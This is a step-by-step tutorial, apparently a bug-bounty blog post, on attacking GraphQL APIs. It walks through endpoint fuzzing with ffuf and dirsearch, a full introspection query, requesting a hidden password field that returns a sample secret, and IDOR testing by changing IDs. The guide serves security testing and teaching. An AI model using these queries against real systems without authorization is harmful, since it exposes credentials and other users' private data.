GraphQL Penetration Testing - Complete Guide
A simple step-by-step guide for testing GraphQL APIs.
A simple step-by-step guide for testing GraphQL APIs.
What is GraphQL?#
GraphQL is a query language for APIs. It lets you ask for exactly what you need.
Step 1: Find GraphQL Endpoints#
First, we need to find where GraphQL is running.
Common GraphQL paths:#
/graphql
/graphql/v1
/api/graphiql
/graphiql/api
/graphiql/v1
/v1/graphiql
/v1/graphql
/graphql/api
/api/graphql
/gql
/query
/graphiql
/playground
/graphql/graphql
/v1
/api
How to find it:#
Using ffuf:
ffuf -w wordlist.txt -u https://target.com/FUZZUsing dirsearch:
dirsearch -u https://target.com -w graphql-paths.txtManual testing: Just try the common paths in your browser or Burp Suite.
Step 2: Check HTTP Method#
GraphQL can accept GET or POST requests. We need to find which one works.
Test with GET first:#
curl https://target.com/graphql/apiIf GET fails, try POST:#
curl -X POST https://target.com/graphql/apiIn Burp Suite:#
- Send the request to Repeater
- Change method from GET to POST
- Add this header:
text
Content-Type: application/json
Your request should look like this:
POST /graphql/api HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 2
{}Step 3: Send Empty Body#
Send an empty JSON body to see what happens.
Request:#
{}Expected response:#
{
"errors": [{
"message": "Must provide query string"
}]
}or
{
"errors": [{
"message": "query not set"
}]
}This confirms GraphQL is there!
Step 4: Send Universal Query#
Now we test if GraphQL is working.
What to send:#
{
"query": "{__typename}"
}What is __typename?#
It's a special field in GraphQL. Every type has it. It returns the type name.
Why use it?#
- Very simple
- Works on any GraphQL API
- Confirms GraphQL is working
Expected response:#
{
"data": {
"__typename": "Query"
}
}What this means:#
data= the data returned__typename: "Query"= the root type name- GraphQL is working! ✅
Step 5: Test Introspection (Probe)#
Introspection lets us see the API structure. Let's check if it's enabled.
What to send:#
{
"query": "{__schema{queryType{name}}}"
}Breaking it down:#
__schema= special field that gives schema infoqueryType= info about query typename= the name of the type
Expected response:#
{
"data": {
"__schema": {
"queryType": {
"name": "Query"
}
}
}
}What this means:#
If you get this response, Introspection is enabled!
This is a security issue because we can see everything in the API.
Step 6: Run Full Introspection#
Now we extract the complete schema.
The full query:#
{
"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}Important note:#
If you get an error, remove these lines:
onOperation
onFragment
onFieldWhat you'll get:#
A huge response with all the schema details:
- All types
- All fields
- All queries
- All mutations
Example response (simplified):#
{
"data": {
"__schema": {
"types": [
{
"name": "Query",
"fields": [
{
"name": "getBlogPost",
"args": [{"name": "id", "type": {"name": "Int"}}]
}
]
},
{
"name": "BlogPost",
"fields": [
{"name": "id"},
{"name": "title"},
{"name": "author"},
{"name": "postPassword"}
]
}
]
}
}
}Step 7: Analyze Schema with Visualizer#
Now we make the schema easy to read.
Option 1: GraphQL Voyager#
- Go to: https://graphql-kit.com/graphql-voyager/ (opens in a new tab)
- Copy the introspection response from Burp
- Paste it in Voyager
- See the schema visually!
Option 2: InQL in Burp Suite#
- Go to Extensions → InQL Scanner
- Analyze the response
- See all queries, mutations, and types
What to look for:#
Search for sensitive fields:
passwordtokenapiKeysecretadminprivate
Example schema structure:#
Query
├── getBlogPost(id: Int!)
│ └── Returns: BlogPost
└── getAllUsers
└── Returns: [User]
BlogPost
├── id: Int
├── title: String
├── author: String
├── postPassword: String ← Sensitive field!
User
├── id: Int
├── username: String
├── password: String ← Sensitive field!Step 8: Original Query#
In Burp Suite, go to the GraphQL tab. You'll see the original query.
Query:#
query getBlogPost($id: Int!) {
getBlogPost(id: $id) {
image
title
author
date
paragraphs
}
}Variables:#
{
"id": 1
}Breaking it down:#
query getBlogPost= query name$id: Int!= variable named "id", type Integer, required (!)getBlogPost(id: $id)= call the query with the variable- The fields listed are what we get back
Response:#
{
"data": {
"getBlogPost": {
"image": "/image.jpg",
"title": "My Blog Post",
"author": "Admin",
"date": "2024-01-01",
"paragraphs": ["Some text here..."]
}
}
}Step 9: Add Sensitive Field#
Now we add the sensitive field we found!
Modified query:#
query getBlogPost($id: Int!) {
getBlogPost(id: $id) {
image
title
author
date
paragraphs
postPassword
}
}We added postPassword to the field list!
Variables (same):#
{
"id": 1
}New response:#
{
"data": {
"getBlogPost": {
"image": "/image.jpg",
"title": "My Blog Post",
"author": "Admin",
"date": "2024-01-01",
"paragraphs": ["Some text..."],
"postPassword": "secret_admin_pass_123"
}
}
}We got the password!#
Why did this work?#
- The field
postPasswordexists in the schema - It's not protected
- GraphQL returned it without checking permissions
Step 10: Test IDOR#
IDOR = Insecure Direct Object Reference
Can we access other users' data by changing the ID?
Test with different IDs:#
ID = 2:
{
"id": 2
}ID = 3:
{
"id": 3
}ID = 4:
{
"id": 4
}If you get passwords for other posts, you found an IDOR vulnerability!
Tips#
- Always check if introspection is enabled first
- Look for fields with names like: password, token, secret, key
- Test different IDs to find IDOR
- Try accessing admin queries without being admin
- Save the full introspection response for analysis
Summary#
- Find the GraphQL endpoint
- Confirm it's working
- Extract the full schema using introspection
- Analyze the schema to find sensitive fields
- Exploit by adding those fields to your queries
- Test IDOR by changing IDs
Happy Hunting!